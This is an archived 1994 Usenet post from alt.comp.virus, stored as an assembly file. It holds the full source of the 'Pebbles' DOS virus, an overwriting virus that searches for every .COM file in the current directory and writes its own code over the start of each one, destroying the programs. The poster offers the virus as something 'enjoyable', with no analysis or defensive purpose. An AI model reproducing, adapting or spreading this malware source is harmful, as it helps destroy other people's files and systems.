home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / P.ZIP / PEBBLES.ZIP / pebbles.asm
Assembly Source File  |  1994-11-12  |  2KB  |  70 lines
  1. From netcom.com!ix.netcom.com!netnews Sat Nov 12 17:10:01 1994
  2. Xref: netcom.com alt.comp.virus:198
  3. Path: netcom.com!ix.netcom.com!netnews
  4. From: Zeppelin@ix.netcom.com (Mr. G)
  5. Newsgroups: alt.comp.virus
  6. Subject: Re: Virus Creation Labs book
  7. Date: 12 Nov 1994 03:29:54 GMT
  8. Organization: Netcom
  9. Lines: 54
  10. Distribution: world
  11. Message-ID: <3a1cri$m31@ixnews1.ix.netcom.com>
  12. References: <3a0s7b$r6i$1@mhadf.production.compuserve.com> <3a1aj7$l5e@ixnews1.ix.netcom.com>
  13. NNTP-Posting-Host: ix-ir4-22.ix.netcom.com
  14.  
  15. I
  16. ;    Here's is another that I think that you will find enjoyable ! 
  17.  
  18. ;            P E B B L E S     V I R U S !
  19. ;                -Zep-
  20.  
  21. DOSSEG
  22. MODEL tiny
  23. CODESEG
  24.                 org     100h
  25.  
  26. vir_len         = finish-start
  27.  
  28. start           equ     $
  29.  
  30. Begin:
  31.                 mov     ah,4eh                  ; Findfirst...
  32.                 mov     cx,00100111b
  33.                 mov     dx,offset filespec      ; dx <- "*.COM"
  34. loop1:
  35.                 int     21h                     
  36.                 jc      done                    ; No more files?  Better 
  37. stop.
  38.                 call    inf                     ; Infect file...
  39.                 mov     ah,4fh                  ; Findnext..
  40.                 jmp     short loop1             ; Over and over till 
  41. there
  42.                                                 ; ain't no more..
  43. done:
  44.                 int     20h                     ; Though bad it's 
  45. shorter
  46.                                                 ; than mov ah,4c int 
  47. 21h...
  48.  
  49. proc            inf
  50.                 mov     ax,3d02h                ; Open de file...
  51.                 mov     dx,9eh                  ; dx <- DTA filename
  52.                 int     21h                     
  53.                 mov     ah,40h                  ; Write..
  54.                 mov     cx,offset vir_len       ; Length of virus to 
  55. write.
  56.                 mov     dx,offset start         ; dx <- beg. of virus
  57.                 int     21h
  58.                 mov     ah,3eh                  ; Close up file.
  59.                 int     21h
  60.                 ret                             ; Get back...
  61. endp            inf
  62.  
  63. filespec        db      "*.COM",0               ; Filespec to infect.
  64.  
  65. finish          equ     $
  66.                 end     Begin
  67.  
  68.  
  69.  
  70.